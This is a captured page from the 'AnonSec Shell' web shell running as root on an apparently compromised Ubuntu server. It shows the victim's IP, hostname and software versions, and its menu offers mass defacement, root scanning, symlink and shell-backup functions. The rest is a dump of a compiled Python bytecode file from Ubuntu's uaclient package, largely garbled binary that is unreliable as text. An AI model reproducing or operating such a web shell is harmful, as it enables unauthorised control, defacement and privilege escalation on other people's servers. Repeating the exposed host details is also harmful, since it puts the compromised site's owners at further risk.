AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/actions.cpython-310.pyc
o

F��c6!�@s�ddlZddlZddlZddlmZmZddlmZmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZmZddlmZddlmZddlmZmZmZdd	lmZdd
lmZe�d�Ze��Z dZ!d
ej"de#de$ddfdd�Z%	d/d
ej"dejddfdd�Z&dddd�d
ej"de#de$de$de$f
dd�Z'ddd�d
ej"d ee#d!e$fd"d#�Z	d0d$e#d%eee(ddfd&d'�Z)d
ej"fd(d)�Z*d
ej"d*e#fd+d,�Z+d
ej"defd-d.�Z,dS)1�N)�List�Optional)�clouds�config�contract�entitlements�event_logger�
exceptions�messages)�status)�system�util)�AutoAttachCloudInstance)�identity)�CLOUD_BUILD_INFO�DEFAULT_CONFIG_FILE�DEFAULT_LOG_PREFIX)�
LIVEPATCH_CMD)�timer_jobs_state_filezpro.actions)zua-timer.servicezua-timer.timerzua-auto-attach.pathzua-auto-attach.servicezua-reboot-cmds.servicezubuntu-advantage.service�cfg�token�allow_enable�returnc
Cs�ddlm}z
tj|||d�Wn1tjy)}ztj|d�||�|�d}~wtjyA}ztj|d�||�|�d}~wwt	�
�}|rN|�d|�||�dS)a:
    Common functionality to take a token and attach via contract backend
    :raise UrlError: On unexpected connectivity issues to contract
        server or inability to access identity doc from metadata service.
    :raise ContractAPIError: On unexpected errors when talking to the contract
        server.
    r)�update_apt_and_motd_messages)r�rNzinstance-id)�uaclient.jobs.update_messagingrr�request_updated_contractr	�UrlError�	ua_statusr�UserFacingErrorr�get_instance_id�write_cache)rrrr�exc�current_iid�r$�2/usr/lib/python3/dist-packages/uaclient/actions.py�attach_with_token)s(

����r&T�cloudcCs0t�|�}|j|d�}|d}t|||d�dS)aS
    :raise UrlError: On unexpected connectivity issues to contract
        server or inability to access identity doc from metadata service.
    :raise ContractAPIError: On unexpected errors when talking to the contract
        server.
    :raise NonAutoAttachImageError: If this cloud type does not have
        auto-attach support.
    )�instance�
contractToken)rrN)r�UAContractClient�"request_auto_attach_contract_tokenr&)rr'r�contract_client�
tokenResponserr$r$r%�auto_attachKs

�r.F)�
assume_yes�
allow_beta�access_only�namer/r0r1cCs(tj||d�}||||||d�}|��S)z�
    Constructs an entitlement based on the name provided. Passes kwargs onto
    the entitlement constructor.
    :raise EntitlementNotFoundError: If no entitlement with the given name is
        found, then raises this error.
    )rr2)r/r0�called_namer1)r�entitlement_factory�enable)rr2r/r0r1�ent_cls�entitlementr$r$r%�enable_entitlement_by_namebs�r8)�simulate_with_token�show_allr9r:cCs:|rtj|||d�\}}||fStj||d�}d}||fS)z6
    Construct the current Pro status dictionary.
    )rrr:)rr:r)r�simulate_statusr)rr9r:r�retr$r$r%r{s	
�	�r�filename�return_codesc
Csjz
tj|��|d�\}}Wntjy,}zt�d�|�t|��WYd}~dSd}~wwt�||�dS)zCHelper which runs a command and writes output or error to filename.)�rcsz{}-errorN)r�subp�splitr	�ProcessExecutionError�
write_file�format�str)�cmdr=r>�out�_�er$r$r%�_write_command_output_to_file�s$��rJcCs0|jpt|j|j|jtjjtgdd�t	j
D��S)Ncss.�|]}t|tjj�r|jj|jd�VqdS))r2N)�
issubclassr�repo�RepoEntitlement�repo_list_file_tmplrDr2)�.0r7r$r$r%�	<genexpr>�s��
�z#_get_state_files.<locals>.<genexpr>)�cfg_pathr�log_file�timer_log_file�daemon_log_filer�ua_file�pathrr�ENTITLEMENT_CLASSESrr$r$r%�_get_state_files�s���rX�
output_dircCsLtdd�|��tdd�|��td�t�d�|��tdd�|��td	�d
�dd�tD���d
�|��tD]}td�|�d�||�ddgd�q8t|�}|t�td�D]K}tj	�
|�r�zt�|�}Wnt
y�}zt�d|t|��WYd}~qXd}~wwt�|�}t��dkr�t�||�t�tj	�|tj	�|��|�qXdS)zG
    Write all relevant Ubuntu Pro logs to the specified directory
    zcloud-idz{}/cloud-id.txtzpro status --format jsonz{}/ua-status.jsonz	{} statusz{}/livepatch-status.txtzsystemctl list-timers --allz{}/systemd-timers.txtzxjournalctl --boot=0 -o short-precise {} -u cloud-init-local.service -u cloud-init-config.service -u cloud-config.service� cSsg|]}d|vrd�|��qS)z.servicez-u {})rD)rO�sr$r$r%�
<listcomp>�sz collect_logs.<locals>.<listcomp>z{}/journalctl.txtzsystemctl status {}z	{}/{}.txtr�)r>�*zFailed to load file: %s
%sN)rJrDr�join�UA_SERVICESrX�globr�osrV�isfiler�	load_file�	Exception�logging�warningrEr
�redact_sensitive_logs�getuidrC�basename)rrY�service�state_files�f�contentrIr$r$r%�collect_logs�s^
�
������
���
���roc
Cs�d}zt��}Wn@tjyH}z3t|tj�rtjtjdd��t|tj	�r+t�tj
��t|tj�r>tjtj
j|jd�dd��t�tj��d}~ww|sQt�tj��|S)Nzauto-attach-cloud-type-error)�msg_code)�
cloud_typez(auto-attach-unsupported-cloud-type-error)r�cloud_instance_factoryr	�CloudFactoryError�
isinstance�CloudFactoryNoCloudErrorrr
�UNABLE_TO_DETERMINE_CLOUD_TYPE�CloudFactoryNonViableCloudError�UNSUPPORTED_AUTO_ATTACH�!CloudFactoryUnsupportedCloudError�NonAutoAttachImageError�"UNSUPPORTED_AUTO_ATTACH_CLOUD_TYPErDrq)rr(rIr$r$r%�get_cloud_instance�s8�������r|)T)N)-rarfrb�typingrr�uaclientrrrrrr	r
rrrr
�uaclient.cloudsrr�uaclient.defaultsrrr�uaclient.entitlements.livepatchr�uaclient.files.state_filesr�	getLogger�LOG�get_event_logger�eventr`�UAConfigrE�boolr&r.r8�intrJrXror|r$r$r$r%�<module>s�$	

���
�%���
������
����
���
�
�=��

Anon7 - 2022
AnonSec Team